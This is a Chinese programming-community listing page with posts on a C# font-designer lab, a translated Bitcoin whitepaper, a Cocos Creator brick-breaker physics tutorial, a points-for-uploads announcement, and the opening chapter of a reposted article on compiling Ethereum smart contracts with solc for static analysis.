分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020

技术文章列表

  • 字体设计器

    一、实验目的和要求
    掌握C#的基本语法
    了解Windows窗体和基本控件的使用
    掌握选择类控件(单选按钮控件、复选框、列表控件、组合框控件等)的使用方法
    掌握自定义控件的使用方法

    二、实验内容和原理编写一个类似字体的窗体,完成类似的功能

    三、实验环境
    硬件:PC机
    软件:windows10、VS2017

    四、算法描述及实验步骤4.1 界面1
    打开vs2017,创建新项目(.net Framework),并命名为Form1
    创建一个界面包含label、button控件
    创建 button1_Click方法和givevalue()方法用于委托传值和跳转

    4.2 界面2
    创建新项目(.net Framework),并命名为Form3
    在界面中根据实验要求部署界面中的各个控件
    编写From3_Load()方法设置三个listbox的选项
    编写各个按钮的触发事件函数

    五、调试过程
    六、实验结果
    七、总结通过这次实验了解到C#的委托、自定义控件。委托是寻址方法的.NET版本,使用委托可以将方法作为参数进行传递。委托是一种特殊类型的对象,其特殊之处在于委托中包含的只是一个活多个方法的地址,而不是数据。
    自定义控件步骤:

    新建自定义控件库 — Windows Forms Control Library
    添加自定义组件
    继承控件,添加事件
    将生成后的Dll添加到工具箱
    测试自定义的控件
    0 留言 2020-05-24 17:36:49 奖励30点积分
  • 比特币白皮书:一种点对点的电子现金系统

    比特币白皮书:一种点对点的电子现金系统
    原文作者:中本聪(Satoshi Nakamoto)
    原文地址:http://www.bitcoin.org/bitcoin.pdf
    作者邮箱:Satoshin@gmx.com
    执行翻译:8btc.com 巴比特 QQagent
    转载自:https://www.8btc.com/wiki/bitcoin-a-peer-to-peer-electronic-cash-system


    [摘要]:本文提出了一种完全通过点对点技术实现的电子现金系统,它使得在线支付能够直接由一方发起并支付给另外一方,中间不需要通过任何的金融机构。虽然数字签名(Digital signatures)部分解决了这个问题,但是如果仍然需要第三方的支持才能防止双重支付(double-spending)的话,那么这种系统也就失去了存在的价值。我们(we)在此提出一种解决方案,使现金系统在点对点的环境下运行,并防止双重支付问题。该网络通过随机散列(hashing)对全部交易加上时间戳(timestamps),将它们合并入一个不断延伸的基于随机散列的工作量证明(proof-of-work)的链条作为交易记录,除非重新完成全部的工作量证明,形成的交易记录将不可更改。最长的链条不仅将作为被观察到的事件序列(sequence)的证明,而且被看做是来自CPU计算能力最大的池(pool)。只要大多数的CPU计算能力都没有打算合作起来对全网进行攻击,那么诚实的节点将会生成最长的、超过攻击者的链条。这个系统本身需要的基础设施非常少。信息尽最大努力在全网传播即可,节点(nodes)可以随时离开和重新加入网络,并将最长的工作量证明链条作为在该节点离线期间发生的交易的证明。

    1. 简介互联网上的贸易,几乎都需要借助金融机构作为可资信赖的第三方来处理电子支付信息。虽然这类系统在绝大多数情况下都运作良好,但是这类系统仍然内生性地受制于“基于信用的模式”(trust based model)的弱点。我们无法实现完全不可逆的交易,因为金融机构总是不可避免地会出面协调争端。而金融中介的存在,也会增加交易的成本,并且限制了实际可行的最小交易规模,也限制了日常的小额支付交易。并且潜在的损失还在于,很多商品和服务本身是无法退货的,如果缺乏不可逆的支付手段,互联网的贸易就大大受限。因为有潜在的退款的可能,就需要交易双方拥有信任。而商家也必须提防自己的客户,因此会向客户索取完全不必要的个人信息。而实际的商业行为中,一定比例的欺诈性客户也被认为是不可避免的,相关损失视作销售费用处理。而在使用物理现金的情况下,这些销售费用和支付问题上的不确定性却是可以避免的,因为此时没有第三方信用中介的存在。 所以,我们非常需要这样一种电子支付系统,它基于密码学原理而不基于信用,使得任何达成一致的双方,能够直接进行支付,从而不需要第三方中介的参与。杜绝回滚(reverse)支付交易的可能,这就可以保护特定的卖家免于欺诈;而对于想要保护买家的人来说,在此环境下设立通常的第三方担保机制也可谓轻松加愉快。在这篇论文中,我们(we)将提出一种通过点对点分布式的时间戳服务器来生成依照时间前后排列并加以记录的电子交易证明,从而解决双重支付问题。只要诚实的节点所控制的计算能力的总和,大于有合作关系的(cooperating)攻击者的计算能力的总和,该系统就是安全的。
    2. 交易(Transactions)我们定义,一枚电子货币(an electronic coin)是这样的一串数字签名:每一位所有者通过对前一次交易和下一位拥有者的公钥(Public key) 签署一个随机散列的数字签名,并将这个签名附加在这枚电子货币的末尾,电子货币就发送给了下一位所有者。而收款人通过对签名进行检验,就能够验证该链条的所有者。

    该过程的问题在于,收款人将难以检验,之前的某位所有者,是否对这枚电子货币进行了双重支付。通常的解决方案,就是引入信得过的第三方权威,或者类似于造币厂(mint)的机构,来对每一笔交易进行检验,以防止双重支付。在每一笔交易结束后,这枚电子货币就要被造币厂回收,而造币厂将发行一枚新的电子货币;而只有造币厂直接发行的电子货币,才算作有效,这样就能够防止双重支付。可是该解决方案的问题在于,整个货币系统的命运完全依赖于运作造币厂的公司,因为每一笔交易都要经过该造币厂的确认,而该造币厂就好比是一家银行。 我们需要收款人有某种方法,能够确保之前的所有者没有对更早发生的交易实施签名。从逻辑上看,为了达到目的,实际上我们需要关注的只是于本交易之前发生的交易,而不需要关注这笔交易发生之后是否会有双重支付的尝试。为了确保某一次交易是不存在的,那么唯一的方法就是获悉之前发生过的所有交易。在造币厂模型里面,造币厂获悉所有的交易,并且决定了交易完成的先后顺序。如果想要在电子系统中排除第三方中介机构,那么交易信息就应当被公开宣布(publicly announced)[1] ,我们需要整个系统内的所有参与者,都有唯一公认的历史交易序列。收款人需要确保在交易期间绝大多数的节点都认同该交易是首次出现。
    3. 时间戳服务器(Timestamp server)本解决方案首先提出一个“时间戳服务器”。时间戳服务器通过对以区块(block)形式存在的一组数据实施随机散列而加上时间戳,并将该随机散列进行广播,就像在新闻或世界性新闻组网络(Usenet)的发帖一样[2][3][4][5] 。显然,该时间戳能够证实特定数据必然于某特定时间是的确存在的,因为只有在该时刻存在了才能获取相应的随机散列值。每个时间戳应当将前一个时间戳纳入其随机散列值中,每一个随后的时间戳都对之前的一个时间戳进行增强(reinforcing),这样就形成了一个链条(Chain)。

    4. 工作量证明(Proof-of-Work)为了在点对点的基础上构建一组分散化的时间戳服务器,仅仅像报纸或世界性新闻网络组一样工作是不够的,我们还需要一个类似于亚当•柏克(Adam Back)提出的哈希现金(Hashcash)[6] 。在进行随机散列运算时,工作量证明机制引入了对某一个特定值的扫描工作,比方说SHA-256下,随机散列值以一个或多个0开始。那么随着0的数目的上升, 找到这个解所需要的工作量将呈指数增长,而对结果进行检验则仅需要一次随机散列运算。
    我们在区块中补增一个随机数(Nonce),这个随机数要使得该给定区块的随机散列值出现了所需的那么多个0。我们通过反复尝试来找到这个随机数,直到找到为止,这样我们就构建了一个工作量证明机制。只要该CPU耗费的工作量能够满足该工作量证明机制,那么除非重新完成相当的工作量,该区块的信息就不可更改。由于之后的区块是链接在该区块之后的,所以想要更改该区块中的信息,就还需要重新完成之后所有区块的全部工作量。

    同时,该工作量证明机制还解决了在集体投票表决时,谁是大多数的问题。如果决定大多数的方式是基于IP地址的,一IP地址一票,那么如果有人拥有分配大量IP地址的权力,则该机制就被破坏了。而工作量证明机制的本质则是一CPU一票。“大多数”的决定表达为最长的链,因为最长的链包含了最大的工作量。如果大多数的CPU为诚实的节点控制,那么诚实的链条将以最快的速度延长,并超越其他的竞争链条。如果想要对业已出现的区块进行修改,攻击者必须重新完成该区块的工作量外加该区块之后所有区块的工作量,并最终赶上和超越诚实节点的工作量。我们将在后文证明,设想一个较慢的攻击者试图赶上随后的区块,那么其成功概率将呈指数化递减。 另一个问题是,硬件的运算速度在高速增长,而节点参与网络的程度则会有所起伏。为了解决这个问题,工作量证明的难度(the proof-of-work difficulty)将采用移动平均目标的方法来确定,即令难度指向令每小时生成区块的速度为某一个预定的平均数。如果区块生成的速度过快,那么难度就会提高。
    5. 网络运行该网络的步骤如下:

    新的交易向全网进行广播
    每一个节点都将收到的交易信息纳入一个区块中
    每个节点都尝试在自己的区块中找到一个具有足够难度的工作量证明
    当一个节点找到了一个工作量证明,它就向全网进行广播
    当且仅当包含在该区块中的所有交易都是有效的且之前未存在过的,其他节点才认同该区块的有效性
    其他节点表示他们接受该区块,而表示接受的方法,则是在跟随该区块的末尾,制造新的区块以延长该链条,而将被接受区块的随机散列值视为先于新区快的随机散列值

    节点始终都将最长的链条视为正确的链条,并持续工作和延长它。如果有两个节点同时广播不同版本的新区块,那么其他节点在接收到该区块的时间上将存在先后差别。当此情形,他们将在率先收到的区块基础上进行工作,但也会保留另外一个链条,以防后者变成最长的链条。该僵局(tie)的打破要等到下一个工作量证明被发现,而其中的一条链条被证实为是较长的一条,那么在另一条分支链条上工作的节点将转换阵营,开始在较长的链条上工作。 所谓“新的交易要广播”,实际上不需要抵达全部的节点。只要交易信息能够抵达足够多的节点,那么他们将很快被整合进一个区块中。而区块的广播对被丢弃的信息是具有容错能力的。如果一个节点没有收到某特定区块,那么该节点将会发现自己缺失了某个区块,也就可以提出自己下载该区块的请求。
    6. 激励我们约定如此:每个区块的第一笔交易进行特殊化处理,该交易产生一枚由该区块创造者拥有的新的电子货币。这样就增加了节点支持该网络的激励,并在没有中央集权机构发行货币的情况下,提供了一种将电子货币分配到流通领域的一种方法。这种将一定数量新货币持续增添到货币系统中的方法,非常类似于耗费资源去挖掘金矿并将黄金注入到流通领域。此时,CPU的时间和电力消耗就是消耗的资源。 另外一个激励的来源则是交易费(transaction fees)。如果某笔交易的输出值小于输入值,那么差额就是交易费,该交易费将被增加到该区块的激励中。只要既定数量的电子货币已经进入流通,那么激励机制就可以逐渐转换为完全依靠交易费,那么本货币系统就能够免于通货膨胀。 激励系统也有助于鼓励节点保持诚实。如果有一个贪婪的攻击者能够调集比所有诚实节点加起来还要多的CPU计算力,那么他就面临一个选择:要么将其用于诚实工作产生新的电子货币,或者将其用于进行二次支付攻击。那么他就会发现,按照规则行事、诚实工作是更有利可图的。因为该等规则使得他能够拥有更多的电子货币,而不是破坏这个系统使得其自身财富的有效性受损。
    7. 回收硬盘空间如果最近的交易已经被纳入了足够多的区块之中,那么就可以丢弃该交易之前的数据,以回收硬盘空间。为了同时确保不损害区块的随机散列值,交易信息被随机散列时,被构建成一种Merkle树(Merkle tree)[7] 的形态,使得只有根(root)被纳入了区块的随机散列值。通过将该树(tree)的分支拔除(stubbing)的方法,老区块就能被压缩。而内部的随机散列值是不必保存的。

    不含交易信息的区块头(Block header)大小仅有80字节。如果我们设定区块生成的速率为每10分钟一个,那么每一年产生的数据位4.2MB。(80 bytes 6 24 * 365 = 4.2MB)。2008年,PC系统通常的内存容量为2GB,按照摩尔定律的预言,即使将全部的区块头存储于内存之中都不是问题。
    8. 简化的支付确认(Simplified Payment Verification)在不运行完整网络节点的情况下,也能够对支付进行检验。一个用户需要保留最长的工作量证明链条的区块头的拷贝,它可以不断向网络发起询问,直到它确信自己拥有最长的链条,并能够通过merkle的分支通向它被加上时间戳并纳入区块的那次交易。节点想要自行检验该交易的有效性原本是不可能的,但通过追溯到链条的某个位置,它就能看到某个节点曾经接受过它,并且于其后追加的区块也进一步证明全网曾经接受了它。

    当此情形,只要诚实的节点控制了网络,检验机制就是可靠的。但是,当全网被一个计算力占优的攻击者攻击时,将变得较为脆弱。因为网络节点能够自行确认交易的有效性,只要攻击者能够持续地保持计算力优势,简化的机制会被攻击者焊接的(fabricated)交易欺骗。那么一个可行的策略就是,只要他们发现了一个无效的区块,就立刻发出警报,收到警报的用户将立刻开始下载被警告有问题的区块或交易的完整信息,以便对信息的不一致进行判定。对于日常会发生大量收付的商业机构,可能仍会希望运行他们自己的完整节点,以保持较大的独立完全性和检验的快速性。

    9. 价值的组合与分割(Combining and Splitting Value)虽然可以单个单个地对电子货币进行处理,但是对于每一枚电子货币单独发起一次交易将是一种笨拙的办法。为了使得价值易于组合与分割,交易被设计为可以纳入多个输入和输出。一般而言是某次价值较大的前次交易构成的单一输入,或者由某几个价值较小的前次交易共同构成的并行输入,但是输出最多只有两个:一个用于支付,另一个用于找零(如有)。 需要指出的是,当一笔交易依赖于之前的多笔交易时,这些交易又各自依赖于多笔交易,但这并不存在任何问题。因为这个工作机制并不需要展开检验之前发生的所有交易历史。
    10. 隐私(Privacy)
    传统的造币厂模型为交易的参与者提供了一定程度的隐私保护,因为试图向可信任的第三方索取交易信息是严格受限的。但是如果将交易信息向全网进行广播,就意味着这样的方法失效了。但是隐私依然可以得到保护:将公钥保持为匿名。公众得知的信息仅仅是有某个人将一定数量的货币发所给了另外一个人,但是难以将该交易同特定的人联系在一起,也就是说,公众难以确信,这些人究竟是谁。这同股票交易所发布的信息是类似的,股票交易发生的时间、交易量是记录在案且可供查询的,但是交易双方的身份信息却不予透露。 作为额外的预防措施,使用者可以让每次交易都生成一个新的地址,以确保这些交易不被追溯到一个共同的所有者。但是由于并行输入的存在,一定程度上的追溯还是不可避免的,因为并行输入表明这些货币都属于同一个所有者。此时的风险在于,如果某个人的某一个公钥被确认属于他,那么就可以追溯出此人的其它很多交易。
    11. 计算设想如下场景:一个攻击者试图比诚实节点产生链条更快地制造替代性区块链。即便它达到了这一目的,但是整个系统也并非就此完全受制于攻击者的独断意志了,比方说凭空创造价值,或者掠夺本不属于攻击者的货币。这是因为节点将不会接受无效的交易,而诚实的节点永远不会接受一个包含了无效信息的区块。一个攻击者能做的,最多是更改他自己的交易信息,并试图拿回他刚刚付给别人的钱。 诚实链条和攻击者链条之间的竞赛,可以用二叉树随机漫步(Binomial Random Walk)来描述。成功事件定义为诚实链条延长了一个区块,使其领先性+1,而失败事件则是攻击者的链条被延长了一个区块,使得差距-1。 攻击者成功填补某一既定差距的可能性,可以近似地看做赌徒破产问题(Gambler’s Ruin problem)。假定一个赌徒拥有无限的透支信用,然后开始进行潜在次数为无穷的赌博,试图填补上自己的亏空。那么我们可以计算他填补上亏空的概率,也就是该攻击者赶上诚实链条,如下所示[8] :

    假定p>q,那么攻击成功的概率就因为区块数的增长而呈现指数化下降。由于概率是攻击者的敌人,如果他不能幸运且快速地获得成功,那么他获得成功的机会随着时间的流逝就变得愈发渺茫。那么我们考虑一个收款人需要等待多长时间,才能足够确信付款人已经难以更改交易了。我们假设付款人是一个支付攻击者,希望让收款人在一段时间内相信他已经付过款了,然后立即将支付的款项重新支付给自己。虽然收款人届时会发现这一点,但为时已晚。 收款人生成了新的一对密钥组合,然后只预留一个较短的时间将公钥发送给付款人。这将可以防止以下情况:付款人预先准备好一个区块链然后持续地对此区块进行运算,直到运气让他的区块链超越了诚实链条,方才立即执行支付。当此情形,只要交易一旦发出,攻击者就开始秘密地准备一条包含了该交易替代版本的平行链条。 然后收款人将等待交易出现在首个区块中,然后在等到z个区块链接其后。此时,他仍然不能确切知道攻击者已经进展了多少个区块,但是假设诚实区块将耗费平均预期时间以产生一个区块,那么攻击者的潜在进展就是一个泊松分布,分布的期望值为:

    当此情形,为了计算攻击者追赶上的概率,我们将攻击者取得进展区块数量的泊松分布的概率密度,乘以在该数量下攻击者依然能够追赶上的概率。

    化为如下形式,避免对无限数列求和:

    写为如下C语言代码:
    #include <math.h> double AttackerSuccessProbability(double q, int z) { double p = 1.0 - q; double lambda = z * (q / p); double sum = 1.0; int i, k; for (k = 0; k <= z; k++) { double poisson = exp(-lambda); for (i = 1; i <= k; i++) poisson *= lambda / i; sum -= poisson * (1 - pow(q / p, z - k)); } return sum;}
    对其进行运算,我们可以得到如下的概率结果,发现概率对z值呈指数下降。
    当 q=0.1 时,z=0 P=1.0000000z=1 P=0.2045873z=2 P=0.0509779z=3 P=0.0131722z=4 P=0.0034552z=5 P=0.0009137z=6 P=0.0002428z=7 P=0.0000647z=8 P=0.0000173z=9 P=0.0000046z=10 P=0.0000012当 q=0.3 时,z=0 P=1.0000000z=5 P=0.1773523z=10 P=0.0416605z=15 P=0.0101008z=20 P=0.0024804z=25 P=0.0006132z=30 P=0.0001522z=35 P=0.0000379z=40 P=0.0000095z=45 P=0.0000024z=50 P=0.0000006求解令P<0.1%的z值:
    为使 P < 0.001 则q=0.10 z=5q=0.15 z=8q=0.20 z=11q=0.25 z=15q=0.30 z=24q=0.35 z=41q=0.40 z=89q=0.45 z=34012.结论我们在此提出了一种不需要信用中介的电子支付系统。我们首先讨论了通常的电子货币的电子签名原理,虽然这种系统为所有权提供了强有力的控制,但是不足以防止双重支付。为了解决这个问题,我们提出了一种采用工作量证明机制的点对点网络来记录交易的公开信息,只要诚实的节点能够控制绝大多数的CPU计算能力,就能使得攻击者事实上难以改变交易记录。该网络的强健之处在于它结构上的简洁性。节点之间的工作大部分是彼此独立的,只需要很少的协同。每个节点都不需要明确自己的身份,由于交易信息的流动路径并无任何要求,所以只需要尽其最大努力传播即可。节点可以随时离开网络,而想重新加入网络也非常容易,因为只需要补充接收离开期间的工作量证明链条即可。节点通过自己的CPU计算力进行投票,表决他们对有效区块的确认,他们不断延长有效的区块链来表达自己的确认,并拒绝在无效的区块之后延长区块以表示拒绝。本框架包含了一个P2P电子货币系统所需要的全部规则和激励措施。
    参考文献
    [1] W. Dai, “b-money,” http://www.weidai.com/bmoney.txt, 1998.
    [2] H. Massias, X.S. Avila, and J.-J. Quisquater, “Design of a secure timestamping service with minimal trust requirements,” In 20th Symposium on Information Theory in the Benelux, May 1999.
    [3] S. Haber, W.S. Stornetta, “How to time-stamp a digital document,” In Journal of Cryptology, vol 3, no2, pages 99-111, 1991.
    [4] D. Bayer, S. Haber, W.S. Stornetta, “Improving the efficiency and reliability of digital time-stamping,” In Sequences II: Methods in Communication, Security and Computer Science, pages 329-334, 1993.
    [5] S. Haber, W.S. Stornetta, “Secure names for bit-strings,” In Proceedings of the 4th ACM Conference on Computer and Communications Security, pages 28-35, April 1997.
    [6] A. Back, “Hashcash - a denial of service counter-measure,” http://www.hashcash.org/papers/hashcash.pdf, 2002.
    [7] R.C. Merkle, “Protocols for public key cryptosystems,” In Proc. 1980 Symposium on Security and Privacy, IEEE Computer Society, pages 122-133, April 1980.
    [8] W. Feller, “An introduction to probability theory and its applications,” 1957.
    1 留言 2020-03-16 09:40:10 奖励45点积分
  • 【Cocos Creator实战教程(5)】——打砖块(物理引擎,碰撞检测) 精华

    1. 知识点
    物理引擎碰撞检测
    2. 步骤2.1 准备工作搭一个游戏背景
    2.2 小球运动再建一个物理层,用来装游戏里的带有物理属性的东西,设置锚点为左下角

    wall:墙//小球碰到就会反弹的那种墙 ground:地面//球碰到地面,这局游戏就结束了 brick_layout:砖块布局//这个单词我们之前讲过了就不讲了 ball:球//就是球 paddle:桨//这里特指那个可以控制移动的白色长方形

    这个wall肯定是要有碰撞属性的,在属性面板,添加一个物理组件 (物理->rigidbody)。
    因为我们的墙有上,左,右三面,所以再添加三个碰撞组件(一个节点可以有多个碰撞组件)。

    编辑一下

    地面同理,小球同理,托盘同理 。(这里把地面和墙分开是为了后面墙和地面可能有不同的逻辑)
    现在已经编辑了几个物理节点的碰撞包围盒,但还没有编辑他们的物理属性(cc.RigidBody)
    先从小球开始,点击ball节点,在属性检查器可以看到

    Cocos Creator从1.5版本开始支持Box2D物理游戏引擎,Box2D是一个优秀的刚体模拟框架,关于Box2D的知识可以去网络上自行了解。
    把第一个参数勾选,代表启用碰撞回调,可以在脚本里写回调函数
    Bullet:高速运动的物体(子弹)开启,避免穿透,这里不用勾选
    type选择Dynamic,

    static:不会受到力的影响,不会受到速度影响,指的是物理引擎,我们依然可以通过移动节点来改变位置 。
    kinematic:不受力的影响,会受到速度影响 。
    dynamic:受力影响,受速度影响 。
    animated:和动画结合使用。

    Gravity Scale设置为0(标准是1,数值代表比例),也就是没有重力。
    设置线速度(1000,1000)
    在下面的碰撞组件里,设置Friction (摩擦系数)等于0(没有摩擦力),Restitution(弹性系数)等于1(没有动量损耗)

    因为小球是我们的主角,左右的碰撞都是对球来说的,所以碰撞属性都在小球这一方设置就可以了。
    另外要设置wall,ground,paddle,brick的type为staticbrick的tag为1,ground的tag为2,paddle的tag为3,wall的tag位4
    下面来看脚本
    BrickLayout.js
    cc.Class({ extends: cc.Component, properties: { padding: 0, spacing: 0, cols: 0, brickPrefab: cc.Prefab, bricksNumber: 0, }, init(bricksNumber) { this.node.removeAllChildren(); this.bricksNumber = bricksNumber; for (let i = 0; i < this.bricksNumber; i++) { let brickNode = cc.instantiate(this.brickPrefab); brickNode.parent = this.node; brickNode.x = this.padding + (i % this.cols) * (brickNode.width + this.spacing) + brickNode.width / 2; brickNode.y = -this.padding - Math.floor(i / this.cols) * (brickNode.height + this.spacing) - brickNode.height / 2; } }});
    2.3 添加砖块自己写了一个动态添加砖块的布局脚本,传入需要添加的砖块数量就可以动态加入的布局节点中。
    2.4 结束界面完善好游戏逻辑,我使用了MVC模式编写脚本。

    3. 总结至此,我便给大家简要的介绍了一下物理引擎,更多的功能需要大家自己探索实践。
    列出几个大家常问的问题:
    3.1如何移动刚体?当我们的一个节点上有一个刚体,我们要进行移动。一般我们都会通过节点的setPosition进行移动,但是刚体不会被影响,不管是Static、还是Dynamic还是Kinematic都不会被影响我们可以通过1、瞬时动作cc.place来进行移动而且不会影响刚体原本的运动轨迹2、Action的所有动作。cc.moveBy;cc.moveTo;等等
    3.2 碰撞组件和物理组件有什么不同?碰撞组件没有类型之分,只要相交就会发生碰撞事件,如果不对碰撞进行处理,那就没有任何影响。物理碰撞组件分类型,因为他们先会绑定刚体。如果刚体类型不同则会有不同的效果。和Dynamtic类型刚体绑定的PhysicsBoxCollider会受重力影响,可以设置速度和Static类型刚体绑定的物理组件,不会受重力影响,不可以设置速度,可以通过设置位置让其移动和Kinematic类型刚体绑定的物理组件,不受重力影响,可以设置速度
    例如,本文中我们就是用了物理碰撞组件,所以刚体类型选择上要有一定技巧。
    在现实开发情况下,拾取道具和横像动作例如进攻多用碰撞组件 ,而竖向动作例如弹跳多用物理碰撞组件。
    3.3 三种物理组件有什么不同?绑定了Dynamic(运动)类型的物理组件不能穿透绑定了Static(静态)类型的物理组件绑定了Dynamic类型的物理组件不能穿透绑定了Kinematic类型的物理组件Static和Kinematic不会触发碰撞事件,Static和Static;Kinematic和Kinematic不会触发碰撞事件;
    所以,因为我们不能将ball选为kinematic,尽管此游戏我们忽略了重力。
    3.4 物理组件如何进行碰撞回调?首先RigidBody要开启碰撞监听然后当前节点下有如下函数
    在函数碰撞体刚开始接触时调用一次onBeginContatct:function(contact,selfCollider,otherCollider){}在两个碰撞体结束接触时被调用一次onEndContact:fucntion(contact,setCollider,otherCollider){}每次要处理碰撞体接触逻辑是被调用onPreSolve:function(contact,selfCollider,otherCollider){}每次处理完碰撞体接触时被调用onPostSolve:fucntion(contact,selfCollider,otherCollider){}
    3.5 碰撞组件的回调var manager = cc.director.getCollisionManager();manager.enabled = true;脚本里面先开启碰撞监听,因为默认是关闭然后有以下函数://当碰撞产生时调用onCollisionEnter:function(other,self){}//在碰撞产生后,在碰撞结束前,每次计算完碰撞结果后调用onCollisionStay:function(other,self){}//当碰撞结束后调用onCollisionExit;function(other,self){}
    部分素材来源于网络,欢迎提问
    6 留言 2018-11-25 22:52:54 奖励25点积分
  • 上传资源,获取积分 精华

    上传资源,获取积分“WRITE-BUG技术共享平台”是一个专注于校园计算机技术交流共享的平台,面向的主要目标群体是我们计算机相关专业的大学生。在平台上,大家既可以交流学校课内学习的心得体会,也可以分享自己课外积累的技术经验。
    为了充实平台的资源库,更好地服务于各位同学,平台决定推出“众源计划”,有偿征集同学们自己计算机专业的作业、课程设计或是毕业设计等资源。“众源计划”的主要目的是创建一个具有一定规模的“技术资源库”,资源库里的每一份资源,都必须有详细的开发文档和可编译的源代码。
    作业、课程设计或是毕业设计等资源是同学们自己辛苦付出的成果,也是自己技术进步的见证。这部分资源通常都有详细的开发文档和完整的程序源代码,能够帮助其他初学者更好地消化和吸收将要学习的技术,降低学习门槛。所以,平台决定积分奖励征集这些资源。
    具体要求奖励方式
    资源上传并审核通过后,根据资源质量,奖励每贴 10 - 100 点积分
    上传流程
    会员登录自己的账号上传资源
    资源上传后,管理员会在 24 小时之内审核资源
    审核通过后,管理员会立即发放奖励积分至所对应账户

    审核重点
    重点审核资源是否具有详细的文档和完整的源代码
    审查资源是否原创,切勿重复提交

    资源要求“众源计划”仅对两类资源进行积分奖励征集,分别是“课内资源”和“课外资源”,各类资源具体要求如下所示。

    课内资源

    内容范围:计算机相关专业课内的毕业设计、课程设计、小学期、大作业等课程内开发的程序,程序包括游戏、PC程序、APP、网站或者其他软件形式
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告

    课外资源

    内容范围:计算机相关专业的课外自己主导研究游戏、项目、竞赛、个人研究等,区别于课程设计和毕业设计等课内资源
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告


    使用须知** 在上传资源前,请花两分钟阅读 “使用须知” 部分内容 **
    14 留言 2018-12-20 10:09:45 奖励100点积分
  • 区块链安全-以太坊智能合约静态分析

    最近在关注区块链安全方面的技术,看到一篇不错的技术博文,所以转载分享。【原文链接:区块链安全-以太坊智能合约静态分析】
    概述目前,以太坊智能合约的安全事件频发,从The DAO事件到最近的Fomo3D奖池被盗,每次安全问题的破坏力都是巨大的,如何正确防范智能合约的安全漏洞成了当务之急。本文主要讲解了如何通过对智能合约的静态分析进而发现智能合约中的漏洞。由于智能合约部署之后的更新和升级非常困难,所以在智能合约部署之前对其进行静态分析,检测并发现智能合约中的漏洞,可以最大限度的保证智能合约部署之后的安全。
    本文包含以下五个章节:

    智能合约的编译
    智能合约汇编指令分析
    从反编译代码构建控制流图
    从控制流图开始约束求解
    常见的智能合约漏洞以及检测方法

    第一章 智能合约的编译本章节是智能合约静态分析的第一章,主要讲解了智能合约的编译,包括编译环境的搭建、solidity编译器的使用。
    1.1 编译环境的搭建我们以Ubuntu系统为例,介绍编译环境的搭建过程。首先介绍的是go-ethereum的安装。
    1.1.1 安装go-ethereum通过apt-get安装是比较简便的安装方法,只需要在安装之前添加go-ethereum的ppa仓库,完整的安装命令如下:
    sudo apt-get install software-properties-commonsudo add-apt-repository -y ppa:ethereum/ethereumsudo apt-get updatesudo apt-get install ethereum
    安装成功后,我们在命令行下就可以使用geth,evm,swarm,bootnode,rlpdump,abigen等命令。
    当然,我们也可以通过编译源码的方式进行安装,但是这种安装方式需要提前安装golang的环境,步骤比较繁琐。
    1.1.2 安装solidity编译器目前以太坊上的智能合约绝大多数是通过solidity语言编写的,所以本章只介绍solidity编译器的安装。solidity的安装和go-ethereum类似,也是通过apt-get安装,在安装前先添加相应的ppa仓库。完整的安装命令如下:
    sudo add-apt-repository ppa:ethereum/ethereumsudo apt-get updatesudo apt-get install solc
    执行以上命令后,最新的稳定版的solidity编译器就安装完成了。之后我们在命令行就可以使用solc命令了。
    1.2 solidity编译器的使用1.2.1 基本用法我们以一个简单的以太坊智能合约为例进行编译,智能合约代码(保存在test.sol文件)如下:
    pragma solidity ^0.4.25;contract Test {}
    执行solc命令:
    solc --bin test.sol
    输出结果如下:
    ======= test.sol:Test =======Binary: 6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029solc命令的—bin选项,用来把智能合约编译后的二进制以十六进制形式表示。和—bin选项类似的是—bin-runtime,这个选项也会输出十六进制表示,但是会省略智能合约编译后的部署代码。接下来我们执行solc命令:
    solc --bin-runtime test.sol
    输出结果如下:
    ======= test.sol:Test =======Binary of the runtime part: 6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029对比两次输出结果不难发现,使用—bin-runtime选项后,输出结果的开始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300,为何会少了这部分代码呢,看完接下来的智能合约编译后的字节码结构就明白了。
    1.2.2 智能合约字节码结构智能合约编译后的字节码,分为三个部分:部署代码、runtime代码、auxdata。

    部署代码:以上面的输出结果为例,其中6080604052348015600f57600080fd5b50603580601d6000396000f300为部署代码。以太坊虚拟机在创建合约的时候,会先创建合约账户,然后运行部署代码。运行完成后它会将runtime代码+auxdata 存储到区块链上。之后再把二者的存储地址跟合约账户关联起来(也就是把合约账户中的code hash字段用该地址赋值),这样就完成了合约的部署。
    runtime代码:该例中6080604052600080fd00是runtime代码。
    auxdata:每个合约最后面的43字节就是auxdata,它会紧跟在runtime代码后面被存储起来。

    solc命令的—bin-runtime选项,输出了runtime代码和auxdata,省略了部署代码,所以输出结果的开始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300。
    1.2.3 生成汇编代码solc命令的—asm选项用来生成汇编代码,接下来我们还是以最初的智能合约为例执行solc命令,查看生成的汇编代码。
    执行命令:
    solc --bin --asm test.sol
    输出结果如下:
    ======= test.sol:Test =======EVM assembly:... */ "test.sol":28:52 contract Test { mstore(0x40, 0x80) callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 * iszero tag_1 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */tag_1:... */ "test.sol":28:52 contract Test { pop dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 returnstopsub_0: assembly {... */ /* "test.sol":28:52 contract Test { mstore(0x40, 0x80) 0x0 dup1 revert auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029}
    由1.2.2小节可知,智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分。同样,智能合约编译生成的汇编指令也分为三部分:EVM assembly标签下的汇编指令对应的是部署代码;sub_0标签下的汇编指令对应的是runtime代码;sub_0标签下的auxdata和字节码中的auxdata完全相同。由于目前智能合约文件并没有实质的内容,所以sub_0标签下没有任何有意义的汇编指令。
